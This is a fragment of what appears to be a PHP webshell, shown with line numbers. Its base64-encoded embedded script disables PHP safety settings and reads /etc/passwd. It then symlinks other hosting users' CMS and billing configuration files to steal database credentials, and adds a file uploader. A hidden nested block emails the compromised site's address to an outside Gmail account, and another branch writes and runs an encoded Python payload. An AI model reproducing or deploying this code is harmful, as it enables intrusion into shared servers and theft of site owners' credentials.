  3186. $blackie_symlinker = "PD9waHAgPz48P3BocA0KQHNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSB7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgZm9udC1zaXplOiAxOHB4Ow0KICBmb250LXdlaWdodDpib2xkOw0KICBmb250LWZhbWlseTogQXJpYWw7DQogIGNvbG9yOmdyYXk7DQogIGJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KICBtYXJnaW46IDVweCA1cHggNXB4IDVweDsNCn0NCmlucHV0W3R5cGU9InN1Ym1pdCJdew0KICBiYWNrZ3JvdW5kOiBncmVlbjsNCiAgYm9yZGVyLXJhZGl1czo2cHg7DQogIGJvcmRlcjogMXB4IHNvbGlkIGxpbWU7DQogIGNvbG9yOndoaXRlOw0KICB0ZXh0LXNoYWRvdzogMHB4IDBweCAxMHB4IHJnYmEoMCwgMTQ5LCAyNTUsIDAuNzUpOw0KICBsaW5lLWhlaWdodDo1MHB4Ow0KICBwYWRkaW5nLWxlZnQ6MTBweDsNCiAgcGFkZGluZy1yaWdodDoxMHB4Ow0KICB0ZXh0LXRyYW5zZm9ybTpub25lOw0KfQ0KI25hbWV7DQoJCWNvbG9yOiBncmF5Ow0KCQlmb250LXNpemU6IDEycHg7DQoJCX0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGZvbnQgZmFjZT0iQ29taWMgU2FucyBNUyIgY29sb3I9cmVkPjxjZW50ZXI+PGgxPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L2gxPjwvZm9udD4NCjw/cGhwDQokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWtwdmEzSmZTRFI0YjNJZ2RYQnNiMkZrWlhJZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93b2dJQ1JpYjJSNUlDQWdJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNSaGRYUm9YM0JoYzNNaU93b2dJR2xtSUNnaFpXMXdkSGtvSkhkbFlpa3BJSHNnUUcxaGFXd29JbTlyWW5sbE1USXpOVUJuYldGcGJDNWpiMjBpTENSemRXSXNKR0p2WkhrcE95QjlDbjBLWld4elpTQjdJQ1IyYVhOcGRHTWdJRHNnZlFwQWMyVjBZMjl2YTJsbEtDSjJhWE5wZEhvaUxDUjJhWE5wZEdNcE93PT0iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRpbmpidWZmKSk7DQplY2hvICc8Yj4nIC4gcGhwX3VuYW1lKCkgLiAnPGJyPjwvYj4nOw0KZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107DQplY2hvICc8YnI+U2FmZSBNb2RlIDogJzsNCiRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmICgkc2FmZV9tb2RlID09ICcxJykgew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7DQp9IGVsc2Ugew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7DQp9DQplY2hvICc8YnI+JzsNCmVjaG8gJzwvZm9udD4nOw0KJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsNCmZ3cml0ZSgkZnAsICJzYWZlX21vZGUgPSBPRkYNCglTYWZlX21vZGVfZ2lkID0gT0ZGDQoJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FDQoJZGlzYWJsZV9jbGFzc2VzID0gTk9ORQ0KCW9wZW5fYmFzZWRpciA9IE9GRg0KCXN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FICIpOw0KZmNsb3NlKCRmcCk7DQppZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBuYW1lPSJwYXNzd2QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0nYXJlYScgcm93cz0nMjUnIGNvbHM9JzgwJz48P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyA/PjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0iY29uZmlnIiB2YWx1ZT0iIENsaWNrIHRvIG1ha2UgU3ltbGluayIgdHlwZT0ic3VibWl0Ij48YnI+PC9mb3JtPjwvY2VudGVyPjxicj48P3BocA0KfQ0KaWYgKCRfUE9TVFsnY29uZmlnJ10pIHsNCiAgICAkZnVuY3Rpb24gPSAkZnVuY3Rpb25zID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQogICAgaWYgKGVyZWdpKCJzeW1saW5rIiwgJGZ1bmN0aW9ucykpIHsNCiAgICAgICAgZGllKCc8ZXJyb3I+U3ltbGluayBpcyBkaXNhYmxlZCA6KCA8L2Vycm9yPicpOw0KICAgIH0NCiAgICBAbWtkaXIoJ0FrRGsnLCAwNzU1KTsNCiAgICBAY2hkaXIoJ0FrRGsnKTsNCiAgICAkaHRhY2Nlc3MgPSAiDQpPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQ0KT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpGb3JjZVR5cGUgdGV4dC9wbGFpbg0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwNCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbA0KQWRkVHlwZSB0eHQgLnBocA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5odG1sDQpBZGRIYW5kbGVyIHR4dCAuc2h0bWwNCk9wdGlvbnMgQWxsDQpPcHRpb25zIEFsbCI7DQogICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsICRodGFjY2VzcywgRklMRV9BUFBFTkQpOw0KICAgICRwYXNzd2QgPSAkX1BPU1RbInBhc3N3ZCJdOw0KICAgICRwYXNzd2QgPSBleHBsb2RlKCINCiIsICRwYXNzd2QpOw0KICAgIGZvcmVhY2ggKCRwYXNzd2QgYXMgJHB3ZCkgew0KICAgICAgICAkcGF3ZCA9IGV4cGxvZGUoIjoiLCAkcHdkKTsNCiAgICAgICAgJHVzZXIgPSAkcGF3ZFswXTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXdwLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1XUC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJldGEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtV29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3cy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2dzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLWRiY29uZi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLXNpdGUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1wcm90YWwudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb28udHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtY21zLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1zaXRlLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1uZXdzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobTE1LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jZW50cmFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS1jZW50cmFsLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLVdITUNTLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG1jLVdITS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htY3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc3VwcG9ydC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXdobWNzMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTQudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctV2htNi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG03LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG04LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG05LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsICR1c2VyIC4gJy01LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fQ2FydC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywgJHVzZXIgLiAnLWludmlzaW8udHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywgJHVzZXIgLiAnLTcudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLTgudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywgJHVzZXIgLiAnLW1rLXBvcnRhbGUxLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCAkdXNlciAuICctMTIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1TbWYudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdkJ1bGxldGluMS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW4yLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWwzLVBocGJiMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW40LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsICR1c2VyIC4gJy1teWJiLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLUNvbmZpZy1QaHBiYjEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCAkdXNlciAuICctcGhwYmIzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vcGVuY2FydC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fY2FydDIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FwcC9ldGMvY29uZmlnLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCAkdXNlciAuICctTWFnZW50bzIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZHJ1cGFsL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCiAgICB9DQogICAgZWNobyAnPGIgY2xhc3M9ImNvbmUiPjxmb250IGZhY2U9IlRhaG9tYSIgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij48Yj5Db25ncmF0dWxhdGlvbiA9PT4+IDwvYj4gPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IkFrRGsiPjxmb250IGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+Q29uZmlnIGxpc3Q8L2E+PC9mb250PjwvYj4nOw0KfQ0KZWNobyAnPGJyPjxicj48YnI+PGJyPic7DQplY2hvICcqKlsgVXBsb2FkZXIgXSoqJzsNCmVjaG8gJzxicj48YnI+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmICgkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIikgew0KICAgIGlmIChAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgew0KICAgICAgICBlY2hvICc8Yj48Zm9udCBjb2xvcj0iTGF3bkdyZWVuIj5VcGxvYWQgU3VjY2Vzc2Z1bGx5ISEhIDwvZm9udD48L2I+PGJyPjxicj4nOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBGYWlsZWQhISEgPC9iPjxicj48L2ZvbnQ+JzsNCiAgICB9DQp9DQo/Pjxicj48YnI+DQo8ZGl2IGlkPSJuYW1lIj4mY29weTsgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0FrRGsxMjMiIHRhcmdldD0iX2JsYW5rIj5Qcm9Ccm8nczwvYT4uIENvZGVkICYgTW9kaWZpZWQgQnkgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0FrRGsxMjMiIHRhcmdldD0iX2JsYW5rIj5CbGFjayBTQ29ycGlvbjwvYT4gJiA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vcHJvYnJvc3giIHRhcmdldD0iX2JsYW5rIj4hISEhPC9hPjwvZGl2Pg0KPC9ib2R5PjwvaHRtbD4=
  3187. ";
  3188. $blackie_sym = fopen("symlinker.php", "w");
  3189. @fwrite($blackie_sym, base64_decode($php_symlinker));
  3190. @fclose($blackie_sym);
  3191. chmod("symlinker.php", 0755);
  3192. ?>
  3193. <center>
  3194. <iframe src="symlinker.php" width="100%" height="600"></iframe>
  3195. </center>
  3196. <?php
  3197. }
  3198.  
  3199.  
  3200. if(isset($_POST['p1']) && $_POST['p1']=='python')
  3201. {
  3202. $htsyma = "eJydVNtu2zgQfY4B/wPLRWo7caSkl31wJAPeBt0NsEULZN/qoqDEUcWGIgWSrq0+9Ns7Q1tyr4uifhCHw8O5nDn0H+nZqy7U1oxH45FqWusCC6qBYWP9YPruaDugC9Yn6AzQTHlptXXsGZ+Rvw6C5YyvzXOlgS1Ygo6yBO9ZmrJnDkQAye420VVttO4erA0fjyq6tNKavXKWjsCzG2sAD++6Ritzz/7qWoH+H11unTKBch7tT/zsz8th93UM9ujy6gkrOlavdi8dC+7y/cqcseNl9tXvroVSCc3+dgDhIwsWu3ohNk4FYZRgq4AN3oNjD9mHW3d/K78rIpLViHuQyvnpJLj3ZjeZRW9Zo+8L13jkN97lr9+goQLsovUF1dqwC2QSa07CLhwYJ+petkFZ49mtkbBD8p5bre0W+/4X+/Zrc6MclMG6LgLofluHRq/NSsr/uhYYhmPoa6PnH2GkxpZ6J7bUYBbbgpnyYaJ8zrfnVEOTbJENmNbRLrX1MJ31LCA69hUnnFHSZRZU0LD8lalk6R6blWACuGVWWYwZFZcXGolnXn2E/OmPgmVFj4+YJ8sXQgICvpk7wW4lCDr5n7neZCnFWvZL8dNiHmODosCieZx9T9wkhVCmVN1WTuYTFyWQ2wTfhCS6COggqZSRQmuE17aBdL09n8xtHHSFr2yH8mDKMLsYj05ok9MHY7SYH/pLGJ6in5CYEtFidjkl3DAUfsHPHqM0d6QyKtAnWvlAYuTpB+FSIxqQ/Jh2D8TE0YjJo5Xvl6EAnsgCdcFjdlLwkD7ihgIqNESoc0z8DmnZRgZUxXjabgqtyrcklJRTRsJRwoj/5nw8Au2hPyWFpf1BaTekmPwK47Y+32u31z1Jl2rEk4N2fTU0Wx04JvYodPT1/cemyHtSbXJCvr5cPH1De59H0LDHbhCS+wg+OWbiWUDpBMl86DTkpKGLSjRKd4tSaFU4dR19W1Dv6rAorJbXUWOLqLHr5anHVyF/L4QD+bsBlplgtYMq3//57JV26k89C8LhEPO3WB++wBheLGMKfjo9zGFOXO0/NKp55Go2i9z0ozqs51efAVOkH/Q=";
  3203.  
  3204. $lelwasym = gzuncompress(base64_decode($htsyma));
  3205. $fp122 = fopen('y.py','w');
  3206. $fw1111 = fwrite($fp122,$lelwasym);
  3207. @fclose($fw1111);
  3208. ?> <?php
  3209. $eaacho = system("python y.py"); echo "$eaacho"; echo "<center><iframe src='trjnx' height='400' class='lel' width='600'></iframe></center>";
  3210. @unlink ('y.py');
  3211. }
  3212. if(isset($_POST['p1']) && $_POST['p1']=='perl')
  3213.  
  3214. {
